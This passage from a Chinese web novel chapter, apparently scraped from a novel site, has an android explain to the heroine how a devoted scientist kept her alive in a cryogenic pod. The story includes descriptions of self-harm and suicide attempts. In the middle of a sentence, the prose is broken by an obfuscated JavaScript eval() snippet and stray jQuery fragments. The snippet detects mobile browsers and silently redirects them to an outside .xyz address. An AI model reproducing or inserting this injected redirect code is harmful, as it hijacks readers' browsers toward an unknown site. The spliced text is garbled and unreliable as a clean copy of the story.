恩点头，他走到周璇面前，高大的身躯将周璇笼罩在阴影里，那双浅淡的琥珀色的眼睛倒映出周璇的脸庞：“阿璇还记得邓迟先生写给阿尔曼教授的那封信吗？”


    “记得。”


    恩抬手，指尖擦过周璇的颊畔，周璇在那熟悉的、令她贪恋的触觉里浑身一颤。


    “阿璇当时不是留了一句话吗？”恩的手指插进周璇的发丝深处，声音带着一种痴迷的沙哑。


    “阿璇在那封回信中这样写道：


    ‘阿迟，其实我没有看起来那么开心，大多数时候，我都不喜欢这个世界。


    不喜欢的事物很多，譬如带走我父母的疾病，譬如杀死玩伴的不公，又譬如一次次让我理想幻灭的挫折。


    我的人生看起来也总是不幸的时候居多。


    起初，我也会问为什么，后来，我学会忍受，忍受命运毫无缘由施加在我身上的一切苦难。


    再后来，我遇到了你，你给我了和这个世界和解的勇气，


    我爱你，而你又存在于这个世界，所以我开始学会原谅、学会心怀希望。


    你说你愿用自己下地狱来换我安好，但你可知，我希望你能活得很好很好很好。


    不要憎恨，不要愤怒，快乐地活着，我爱你，所以以此祝福你，邓迟。’”


    恩的声音在小小的修理室回荡，一下子唤回了周璇沉睡百年的记忆——那天周璇穿着邓迟买给她的黑色锦裙和高跟鞋，读到了邓迟藏在那本书中的信件。


    邓迟从不对她说爱，那些爱语都被他埋藏在了自卑和疾病之下。


    那封误打误撞拆开的信件是周璇第一次看到邓迟的真心剖白，于是，她在邓迟的书桌前亲手写下了这些话。


    恩的声音接着响起：“那封信被邓迟的姑姑找到，并拿到了邓迟先生面前。于是，邓迟先生丢弃了即将刺到太阳穴的钢笔，依照阿璇的祝福，活下去。”


    周璇怔住，那段话是当时她对邓迟剖白的回应，她没有想到竟会在几日之后，化作一道回旋镖，成为邓迟的救赎，拯救邓迟一命。


    恩的指尖感觉到一抹冰凉，那是周璇脸颊上滑落的泪水。


    他轻柔地用指腹擦去，继续道：“邓迟先生隐瞒了自己在那次事故遗留的创伤应激反应，向科学院申请继续科研工作。


    起初，邓迟先生没日没夜、不眠不休地重新整理第一座红色森林模拟生态舱的运行数据。这中间因为睡眠不足和营养不良，他休克了很多次，也被送到医院很多次，几乎消瘦枯萎得没了人样，和之前的他判若两人。


    所有的人都在劝他吃药和休息，但他不肯，他说如果吃了药，他就会变得嗜睡，并且无法集中精力从事科研工作。因此，在那些无尽的暗夜里，邓迟先生一遍遍将笔尖刺入自己的手腕，以自残带来的痛苦让自己清醒，一刻不停地推演那成千上万道复杂的公式。


    终于，在五年后，邓迟先生找到了错误，又用了五年，重新设计出了一座完美的红色森林模拟生态舱。


    这个生态舱在投入建造前，邓迟先生推演了数万次，直到确保连一个标点符号都不曾出错后才肯停下。那些推算的手稿堆满了他的房间，以至于家中几乎没有落脚的地方，那些日子，他就睡在那堆草稿中间。


    邓迟先生对于科研数据的要求苛刻至极，科研院的很多后辈和助理对此感到骇然，几乎到了对于邓迟先生的科研组唯恐避之不及的程度。很多人在背后称邓迟先生是疯子、强迫症，但只有他才知道，一个错误的数字将带来怎样不可挽回的后果。”


    周璇心中一痛，邓迟这一生几乎是淹没在众人的唾沫星子里，起初是因为与生俱来的心理疾病，而后来是因为她。


    恩握住周璇塌陷的双肩，接着道：“在第二代红色森林模拟生态舱落成之后，邓迟先生的病情已经严重到分不清现实和幻觉，在精神撕裂的折磨中，他又一次选择自杀。但是在刀尖划破手腕的时候，他停住了，他怕阿璇会在他死后的任何一天突然醒来。为了这一天，邓迟先生在死亡边缘徘徊了整整50年。


    但是，突然有一天，邓迟先生意识到，他的生命是有限的，这种认知又使他开始恐惧自己短暂的生命等不到阿璇苏醒，于是他开始疯了一样研究人体冷冻舱。恰好国家也非常重视这一技术的发展，邓迟先生被任命为人体冷冻舱技术组组长，从此开始了长达四十年的科研苦旅。


    起初的人体冷冻舱只能将人体衰败延缓十年，邓迟先生怕十年还是不够将阿璇的身体完好无损地保存到苏醒，于是在夜以继日的疯狂工作中，将人体冷冻舱的时限延长到二十年，接着是五十年、一百年、一百五十年……就在短短四十多年里，这一技术在邓迟先生的带领下几乎是一日千里、日新月异，迅速抵达了世界之巅。现在，阿璇身体所在的就是那台集大成的人体冷冻舱10.0。”


    “当完成这一切时，邓迟先生已经七十岁高龄，他的脸颊灰白凹陷，沟壑纵横，头发和胡子发白而凌乱，浑身几乎没了脂肪，身上的骨骼突出，变成了一具彻头彻尾的骷髅。


    七十岁的他被世人称为‘斐波那契疯子’。”


    周璇想起来，自己在被丧尸追赶时曾逃亡到一间被遗弃的廉租房。


    那间廉租房的墙壁上飘下来一张破烂的报纸，上面赫然写着：“狂热的科学生涯落下帷幕：曾被称为“疯狂怪人”的科学家邓迟宣布隐退！”


    那就是邓迟七十岁宣布隐退时留下的新闻报道。


    恩的描述和报纸上邓迟那张意气风发的博士毕业照已经判若两人。


    周璇心口一滞。


    恩羽扇一样的浓密睫毛不断颤抖，低头向周璇看过去：“邓迟先生终其一生在研究两样东西，一是红色森林模拟生态舱，一是人体冷冻舱。他做到了，阿璇，你现在安然无恙地苏醒了。”


    是啊，她醒来了，在这间地下室醒来。


    但是……为什么她苏醒时身负锁链，并被恩囚禁在床上。


    只见周璇的眼睑掩住了半边眸子，面色难辨，她冷声开口问道：“但我醒来时，明明被你囚禁在那间暗室里，你到底想要做什么？”


    “不，”恩摇头道，“那间房子并不是囚禁你的地下室，而是放置阿璇的冷冻舱的储藏室。”


    “那、那些紧缚在我四肢的锁链呢？还有每次你喂给我，致我昏迷的药物呢？”周璇神色木然，但是胸膛咚咚被撞击着。


    一些答案已经呼之欲出——她好像大大地误会了恩。


    “阿璇，你误会了。”邓迟温柔而缱绻地拢起周璇的鬓发，将头埋进周璇的颈窝，“锁链只是用来将你和冷冻舱链接的通道，而你身下躺着的也并不是普通的床榻，而是人体冷冻舱的接触平台。本来顶部还有一片透明玻璃罩子的，但是在你即将醒来的时候，我就把它打开了。”


    “通过检测你的身体数据，我提前预判到了你的苏醒时间，并做好了充分的准备，迎接阿璇。但没有想到这些准备竟然让阿璇误会了。”


    “还有，至于喂给你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441760|181679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的那些药，只是能量补充剂，并不会让你晕厥的。”


    “什么？”周璇蹙起眉，语气几近失态，“能量补充剂？！”


    “是的，你有没有注意到，你几次失去意识都是在情绪剧烈波动，并且运动量超身体负荷之后？”


    “……”


    “因为你刚从冷冻舱中苏醒，身体还在恢复阶段，必须静躺着修养。但是你多次企图逃跑，剧烈运动导致身体超负荷，所以才会晕厥。我喂给阿璇的都是能让你尽快恢复的能量补充剂。”


    “什么？”周璇怔住。


    “所以，你那几次喂给我药的时候才会说什么吃了我很快就能好这种奇怪的话吗？”


    “对。”


    “那你之前像个变态一样阻止我逃跑呢？”


    “那只是不希望阿璇出去遇到丧尸。”


    “还有……那个玩偶头套呢？”周璇的喉咙隐隐发颤，一股亟待喷发的岩浆似乎正在悄声酝酿。


    “这个玩偶头套可是我照着阿璇给我……不对，给邓迟先生的狗狗挂坠一比一复刻手工制作的。”恩语气欢快，身后的狗尾巴骄傲地摇摆，向着主人邀功，“可爱不可爱，阿璇是不是很喜欢？”


    “……”


    恩看周璇没有吭声，继续洋洋得意地自说自话道：“阿璇喜欢狗狗，我想阿璇醒来立刻就可以见到扮成狗狗的我。而且那段时间，我的脸颊在外出时受了伤，我不想让阿璇看到我有伤痕的脸，很丑。”


    “……”


    “阿璇，恩是不是很聪明！”恩呲着牙，摆着狗尾巴冲周璇笑。


    周璇沉默了良久，终于，她忍无可忍地抬手干脆利落地给了恩那张漂亮脸蛋一巴掌。


    “可爱你个大头鬼，喜欢你个大榔头！”周璇咆哮。


    “就是因为那阴恻恻的诡异狗头，还有些神神叨叨、我完全听不懂的话，让我一直以为你是对我图谋不轨的变态疯子绑架犯！”


    日！


    恩捂住脸蛋，神色一时间可怜巴巴，小狗眼睛忽闪忽闪。


    “来，我问你，”周璇一把揪住恩的领子，把他拽到自己面前，“这些你为什么不直接告诉我，说外面已经世界末日了，到处都是丧尸，你是为了救我才不让我出去啊？！”


    恩委屈兮兮道：“恩一直都在说让你不要出去呀……”


    “你只说了不让我出去，可没说为什么！”周璇狠狠蹂躏着恩的脸蛋和衣领，毫无形象地咆哮狮吼。


    “……我怕阿璇在知道真相后承受不住，情绪波动太大对于刚苏醒的冷冻者来说，也是大忌，所以才没有说。”


    “那……那些拥抱和亲吻呢？”周璇支楞着一双肩膀，像是一只被偷了老巢的扑棱翅膀发疯的老鹰。


    但奈何恩和邓迟一样，分辨不出人类的表情和神态。他完完全全不明白他的阿璇怎么突然变了脸，紧咬牙关恨不得把他撕成碎片。于是，只好像一条无辜可怜的小狗，再次紧紧搂住周璇，蹭着她胸口的肌肤，瓮声瓮气道：“邓迟先生给予了恩记忆和意志，顺应邓迟先生的意志和感情，我想和阿璇亲近，想和阿璇拥抱，想和阿璇接吻，渴望像从前那样和阿璇一起睡觉，还想让阿璇……唔——”


    周璇毫不手软地捏住恩那两片不知廉耻、口无遮拦的唇瓣，将人拽倒她面前，恶狠狠威胁道：“闭嘴，再说下去，我不介意毁掉邓迟留给你的嘴巴，让你换张机械嘴！”


    “唔唔——唔——”


    阿璇，恩戳了……不要……呜呜呜呜……